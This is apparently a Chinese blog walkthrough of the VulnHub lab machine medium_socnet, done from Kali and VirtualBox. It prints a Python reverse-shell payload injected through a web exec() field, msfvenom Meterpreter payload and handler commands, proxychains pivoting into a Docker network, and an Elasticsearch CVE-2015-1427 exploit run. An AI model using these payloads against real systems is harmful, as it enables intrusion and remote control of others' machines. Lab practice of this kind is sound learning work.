1.准备工作
靶机设置
这个靶机不兼容VM,需要使用VirtulBox,就是这个东西
以管理员身份运行该程序!!!!
前面是用老版连接的,你可以先浏览我的文章,不要安装靶机,因为最后我也是用的7.0.10版的才成功的。
中间废话比较多,因为是我自己摸索的,我比较话痨,所以请见谅~
我们导入我们下载号的靶机
自作聪明,改了一下路径,不知道行不行
点击导入
这边就有了
设置
选择跟我一样的
然后启动。。。。。
上网上搜索,去关掉这个
然后。。。。
打开终端(以管理员身份运行)
bcdedit /set hypervisorlaunchtype off
还不行~
直到第二天,他提醒我下载最新版,你下载你年份的最新版就行
欧克
kali设置
打开虚拟机,设置这个
kali的设置
这样eth0->kali的网络适配器->net连接,用于上网,模拟外网
eth1->kali的网络适配器2->桥接,用于和VB(VirtulBox)上的靶机通信,模拟内网
修改网络配置文件
vim /etc/network/interfaces
写入以下内容
auto eth1
iface eth1 inet dhcp重启网络服务
service networking restart
ip a进行查看,我也不知道为啥我有两个56的ip
配置完的,还是没有ip的,我也不知道,我是设置完靶机的设置之后,过一段时间就有了,用ip a看ip,ifconfig看是这样的
arp-sacn扫描不到,我删除靶机,用最新版重新导入
对比mac可以扫描到了
欧克,终于扫描到5000了!!!
你们成功扫描到5000后就看下面这两个博主的吧,我抄他们的,主要跟着最下面的那个博主,他的比较全
感谢这些博主
漏洞靶场实战-Vuluhub medium_socnet_vulnhub socnet_OceanSec的博客-CSDN博客
靶机: medium_socnet - sha0dow - 博客园 (cnblogs.com)
以下全是烂尾楼,不用看了
2.开始信息收集
dirsearch 着,ssh弱口令就算了,肯定不行
dirsearch -u 'http://192.168.56.103:5000'
然后找web漏洞。。(kali扫描,卡死了~)
有道翻译
没发现框架,用whatweb试试
whatweb http://192.168.56.103:5000/ -v
试试输入框,输入1
输入111111111111111111
访问admin
输入11111111
说明可以用exec()来执行一些东西。(我以为是php里的这个exec呢)
其他博主说
而 Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行,那么我们可以尝试查找关于 Python 2.7.15
反弹 shell 的代码,通过 exec() 进入 192.168.56.101
这台机器了
有两种监听方式
方法1:
nc -lvp 4444
方法2:
使用msfconsole监听
msfconsole
使用漏洞的监听模块
use exploit/multi/handler
set payload cmd/unix/reverse_bash
kali的ip
run执行
web网页上传提交,记得改成自己kali的,端口随便选
import socket,os,subprocess
RHOST='192.168.56.102' # Change it
RPORT=4444 # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) # 连接攻击者
os.dup2(s.fileno(),0) # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) # 创建子进程调用SHELL
记得修改ip,改成kali的
这边就连接到了
ls
最高权限,但是根目录下没有flag
docker里可以搭建虚拟机,我们可能在这个虚拟机里,查看dockerfile文件
查看
ai回答,可以不看
这是一个 Dockerfile 文件的内容,用于构建和运行一个基于 Python2.7 和 Flask 框架的 Web 应用程序。
以下是Dockerfile中各个命令的解释:
FROM python:2.7-alpine
: 设置了基础镜像为 Python2.7 版本的 alpine 系统。这里使用alpine系统是因为它是一个小型的 Linux 发行版,具有轻量级、安全、可靠等特点。
COPY . /app
: 将当前目录中所有文件复制到容器中的 /app 目录下。这一步将把应用程序代码和依赖都复制到容器内部以便后续的构建和运行。
WORKDIR /app
: 设置工作目录为 /app,即容器内的应用程序主目录。
RUN pip install -r requirements.txt
: 在容器中运行 pip 命令,安装 requirements.txt 中指定的所有 Python 依赖。在这个Dockerfile中,它将安装 Flask 应用需要的所有 Python 模块。
CMD ["python", "/app/main.py"]
: 容器启动后执行的默认命令,在这里是通过 Python 运行 main.py 文件,启动 Flask 应用程序。通过运行
docker build -t socnet .
命令可以创建一个名为socnet的Docker镜像,其中的.
表示Dockerfile所在的目录。而通过运行
docker run -td --rm -p 8080:8080 socnet
命令则可以在Docker中运行socnet镜像,并映射到本地主机的8080端口,以便可以通过浏览器访问该Web应用程序。
- 查看根目录中是否存在
.dockerenv
文
- 查看
/proc/1/cgroup
中的内容是否大量与 docker 有关
其他博主得出结论:我们在docker这个靶机中。
我理解的是(下面只是讲解)
我有一台win10,我win10上安装了虚拟机kali,我是攻击者,我现在就攻击到了kali,,也就是我们在这个docker中。flag呢,却在win10上。
再看看网络问题,kali连接着我(攻击者)和内网的win10,要想攻击win10,必须利用kali做跳板,内网穿透到win10和kali的内网里。
其他博主说
Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)该模块其实进行了这些操作
也就是说我们现在拿到的是一个 docker 容器内的用户 shell,不是真实的服务器,所以接下来就要尝试横向移动是在不行再容器逃逸
第二天做的,kali的ip变成了56.104
我又重新连接
这样快
3.第一台主机利用
不理解,为什么要再连一次
生成shell,注意端口
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.56.104 lpost=5555 -f elf -o s.elf
移动shell到apache下,并且开启apache服务,注意这个目录的权限,我是777,
systemctl restart apache2.service
注意路径!!!!!!!,转到我这个路径里来
靶机上
报这个错的,是因为你靶机该文件下已经有了,删了就行
注意下面的IP!!!是kali的
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.56.104
set lport 5555
run
靶机这边运行
没成功,换了一个博主,重新做
import os,subprocess,socket
# 创建套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议
# 创建通信
s.connect(('192.168.56.103',23333))
# 重定向,保障通信的输入与输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# 生成反弹的 shell
p=subprocess.call(["/bin/sh","-i"])
# 使用时压缩上面的代码,以便 exec() 执行
import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
netcat -lnvp 23333
另起终端
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
这边成功连接
现在我们相当于不再使用web服务里的那个漏洞连接这个东西,有啥意义?
为了添加路由
将获取的网段 172.17.0.3/16
-> 172.17.0.0/16
添加路由 run autoroute -s 172.17.0.0/16
命令,查看是否成功添加 run autoroute -p
可以看到172.17.0.3/16
exit退出
创建成功之后我们将当前的会话挂起,使用 background
是将当前 msf 会话挂起,想重新利用会话使用 sessions -i
其中 i 是会话编号
好的,我们已经完成了最重要的一般,接下来是 socks 代理
继续前面的,使用 use auxiliary/server/socks_proxy
进入代理模块
- 设置服务版本
set VERSION 4a
- 设置 IP
set SRVHOST Kali的IP
- 查看配置是否正确
show options
- 收尾
exploit
run
另起终端,配置 proxychains ,配置 proxychains 的代理列表添加 socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]
touch proxychains.conf # 创建目录级的 proxychains 配置文件,我们不污染系统级的配置文件
sudo cat /etc/proxychains4.conf > ./proxychains.conf # 将系统级的配置文件复刻到当前目录的配置文件 proxychains.conf
vim ./proxychains.conf # 只需要修改最后一行 socks4 127.0.0.1 9050 改为 socks4 192.168.56.103 1080
完成整个代理步骤后可以通过 proxychains
或 proxychains4
作为其他命令前缀探索内网,但我们使用的是目录级 proxychains 配置文件实验需要使用 -f
参数指定配置文件
proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24 # 172.17.0.0/24 是目标容器系统的内网网段,扫描过程中可能会比较费时【段扫描数量太大】
我们使用之前 msf 的那个 shell 执行 sessions -1
回到之前的挂起的会话,使用 arp a
简单说明判断其他存活的 ip
用 proxychains 的那个 shell 执行 nmap 扫描 172.17.0.1
proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1
发现与我们之前的目标容器非常相似,我们可以使用 firefox 设置代理访问 http://172.17.0.1:5000
浏览器代理方法自行百度,重点使用手动配置代理配置 SOCKS 主机
与前面 proxychains.conf 一致
proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2
-
发现新线索,
172.17.0.2
的 9200 端口开启,运行服务 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 说明:Elasticsearch 是位于 Elastic Stack 核心的分布式搜索和分析引擎 -
此处我们可以使用
searchsploit
查询 Elasticsearch 相关漏洞并尝试,攻入其中
此处我们可以使用 searchsploit
查询 Elasticsearch 相关漏洞并尝试,攻入其中
尝试一个 /usr/share/exploitdb/exploits/linux/remote/36337.py
但注意是否安装 python2
以及其 requests
如果没有使用以下代码
sudo apt-get install python2 # 安装 python2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py # 安装 python2 的 pip2 如果有就跳过此步
python2 -m pip install requests # 安装 requests 包
proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 # 利用 36337.py 脚本
可以看到下面报错了,查看错误是 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427) 想要要利用需要先查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据
使用 curl
在 Elasticsearch 添加一条数据 curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
proxychains curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'
proxychains python2 a.py 172.17.0.2